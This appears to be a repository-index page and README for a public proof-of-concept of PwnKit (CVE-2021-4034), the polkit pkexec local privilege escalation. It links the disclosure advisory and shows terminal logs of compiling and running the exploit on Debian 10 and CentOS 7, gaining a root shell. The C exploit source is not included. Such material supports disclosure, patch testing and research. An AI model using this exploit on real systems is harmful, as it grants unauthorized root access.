https://github.com/arthepsy/CVE-2021-4034

PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
https://github.com/arthepsy/CVE-2021-4034

cve cve-2021-4034 poc

Last synced: about 1 month ago
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PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

• Host: GitHub
• URL: https://github.com/arthepsy/CVE-2021-4034
• Owner: arthepsy
• Created: 2022-01-26T00:56:36.000Z (almost 3 years ago)
• Default Branch: main
• Last Pushed: 2023-05-04T19:24:39.000Z (over 1 year ago)
• Last Synced: 2024-06-08T13:35:37.310Z (6 months ago)
• Topics: cve, cve-2021-4034, poc
• Language: C
• Homepage:
• Size: 4.88 KB
• Stars: 1,029
• Watchers: 16
• Forks: 308
• Open Issues: 6
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - arthepsy/CVE-2021-4034 - PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034) (C)

README

        
# CVE-2021-4034

PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

https://seclists.org/oss-sec/2022/q1/80  

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

# PoC

Verified on Debian 10 and CentOS 7.

```

user@debian:~$ grep PRETTY /etc/os-release

PRETTY_NAME="Debian GNU/Linux 10 (buster)"

user@debian:~$ id

uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc

user@debian:~$ ./cve-2021-4034-poc

# id

uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)

```

```

[user@centos ~]$ grep PRETTY /etc/os-release

PRETTY_NAME="CentOS Linux 7 (Core)"

[user@centos ~]$ id

uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc

[user@centos ~]$ ./cve-2021-4034-poc

sh-4.2# id

uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

sh-4.2# exit

```